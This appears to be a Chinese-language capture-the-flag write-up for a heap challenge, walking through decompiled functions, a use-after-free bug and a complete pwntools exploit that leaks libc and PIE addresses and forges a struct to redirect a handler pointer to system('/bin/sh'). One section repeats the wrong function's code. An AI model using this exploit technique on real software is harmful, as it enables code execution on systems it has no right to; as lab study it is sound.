212 字
1 分钟
425考核wp
分析
~#@❯ checksec ./chall2[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/work2/chall2/chall2' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No将文件拖入 ida 发现如下重要函数
- 分配 chunk1
void register_evidence(){ unsigned __int64 size; // [rsp+8h] [rbp-18h] void **s; // [rsp+10h] [rbp-10h] unsigned int n8; // [rsp+1Ch] [rbp-4h]
n8 = choose_slot(); if ( n8 < 8 ) { if ( db[n8] ) { puts("slot already occupied"); } else { s = (void **)malloc(0x38u); if ( !s ) exit(1); memset(s, 0, 0x38u); puts("Evidence ID:"); read_line(s, 32); puts("Description size:"); size = read_size(); if ( size && size <= 0x100 ) { s[4] = malloc(size); if ( !s[4] ) exit(1); memset(s[4], 0, size); s[5] = (void *)size; s[6] = default_report; puts("Description:"); read_line(s[4], s[5]); db[n8] = s; puts("recorded"); } else { puts("invalid size"); free(s); } } } else { puts("invalid index"); }}这里可以发现这里可以分配一个db结构体,通过分析发现结构体的结构如下
struct db char [0x20] EvidenceID (char*) [8] des size [8] des_size (void*)()[8] handler = defualt_report其中 des 是一个可以自定义大小范围为0x1 ~ 0x100大小的chunk
- free
int destroy_evidence(){ unsigned int n8; // [rsp+Ch] [rbp-4h]
n8 = choose_slot(); if ( n8 >= 8 || !db[n8] ) return puts("not found"); free(*(void **)(db[n8] + 32LL)); free((void *)db[n8]); return puts("destroyed");}这里是释放函数,但是在释放没有置0结构体,所以存在uaf, 同时结合前面的申请函数,可以知道我们最多可以通过register_evidence 申请8次 chunk
- 分配chunk2
int import_template(){ char buf; // [rsp+Fh] [rbp-1h] BYREF
puts("Template size:"); template_size = read_size(); if ( !template_size || template_size > 0x80 ) return puts("invalid size"); if ( template_buf ) { free(template_buf); template_buf = 0; } template_buf = malloc(template_size); if ( !template_buf ) exit(1); puts("Template bytes:"); read_exact(template_buf, template_size); if ( read(0, &buf, 1u) <= 0 ) exit(0); return puts("template imported");}这里可以看到又是一个分配chunk的函数但是每次分配后会置 0, 但是可以重新分配
- 执行 handler
int generate_report(){ unsigned int n8; // [rsp+Ch] [rbp-4h]
n8 = choose_slot(); if ( n8 < 8 && db[n8] ) return (*(__int64 (__fastcall **)(_QWORD))(db[n8] + 48LL))(db[n8]); else return puts("not found");}- 修改 des
int edit_evidence(){ __int64 v1; // [rsp+0h] [rbp-10h] unsigned int n8; // [rsp+Ch] [rbp-4h]
n8 = choose_slot(); if ( n8 >= 8 || !db[n8] ) return puts("not found"); v1 = db[n8]; puts("New description:"); read_line(*(_QWORD *)(v1 + 32), *(_QWORD *)(v1 + 40)); return puts("updated");}- 展示 des chunk
int edit_evidence(){ __int64 v1; // [rsp+0h] [rbp-10h] unsigned int n8; // [rsp+Ch] [rbp-4h]
n8 = choose_slot(); if ( n8 >= 8 || !db[n8] ) return puts("not found"); v1 = db[n8]; puts("New description:"); read_line(*(_QWORD *)(v1 + 32), *(_QWORD *)(v1 + 40)); return puts("updated");}由于这个题目的libc 版本是 2.34 存在 tceche 所以需要绕过
所以得出如下利用思路
1. 填满 tceche2. 泄露出 libc 地址3. 伪造db结构体劫持 handler函数exp
于是可以得出如下exp
from pwn import *
file = "./chall2_patched"host = "127.0.0.1"port = 1234libcf = "./libc.so.6"
is_remote = False
context.log_level = "debug"context.binary = file
if is_remote: p = remote(host, port)else: p = process(file)
elf = ELF(file)rop = ROP(elf)libc = ELF(libcf)
def menu(index: int): global p p.recvuntil(b">\n")
p.sendline(str(index).encode())
def choose_slot(index: int): global p
p.recvuntil(b"Index:") p.sendline(str(index).encode())
def register_evidence(index: int, eid: bytes, size: int, des: bytes): global p
menu(1) choose_slot(index)
p.recvuntil(b"Evidence ID:\n") p.sendline(eid)
p.recvuntil(b"Description size:") p.sendline(str(size).encode())
p.recvuntil(b"Description:") p.sendline(des)
def show_evidence(index: int): global p
menu(2) choose_slot(index)
def edit_evidence(index: int, des: bytes): global p menu(3)
choose_slot(index) p.recvuntil(b"New description:\n") p.sendline(des)
def destroy_evidence(index: int): # free global p menu(4) choose_slot(index)
def generate_report(index: int): # run global p menu(5) choose_slot(index)
def export_description(index: int): global p menu(6) choose_slot(index)
def import_template(size: int, buf: bytes): global p menu(7)
p.recvuntil(b"Template size:\n") p.sendline(str(size).encode())
p.recvuntil(b"Template bytes:\n") p.sendline(buf)
log.info(f"================")
"""struct db: id -> EvidenceID: 0 (0x20 32) des: 0x20 32 (8) size: 0x28 (8) handler = defualt_report"""
for i in range(7): register_evidence(i, b"", 0x80, b"")
import_template(0x80, cyclic(0x81))import_template(0x20, cyclic(0x81))
for i in range(7): destroy_evidence(i)
show_evidence(6)
p.recvuntil(b"Description: ")leak_addr = p.recvuntil(b"\n").strip()leak_db_chunk = u64(leak_addr.ljust(8, b"\x00"))
p.recvuntil(b"Report handler: ")leak_addr = int(p.recvuntil(b"\n").strip(), 16)pie_offset = 0x1486libc_offset = 0x218cc0elf_base = leak_addr - pie_offsetlibc.address = leak_db_chunk - libc_offset
system_addr = libc.sym["system"]
# create fake db struct: 0x38fake_db = flat( { 0x0: b"/bin/sh\x00", # eid 0x20: p64(next(libc.search(b"/bin/sh\x00"))), # des some str 0x28: p64(0x100), # size 0x30: p64(system_addr) }, filler = b"\x00", length = 0x38)
log.success(f"elf_base: {hex(elf_base)}")log.success(f"leak_db_addr_0(Evdence ID 0): {hex(leak_db_chunk)}")log.success(f"libc base: {hex(libc.address)}")log.success(f"system: {hex(system_addr)}")
register_evidence(7, b"/bin/sh\x00", 0xff, b"")destroy_evidence(7)
import_template(0x38, fake_db + b"aaaa")generate_report(7)
p.interactive() 分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时










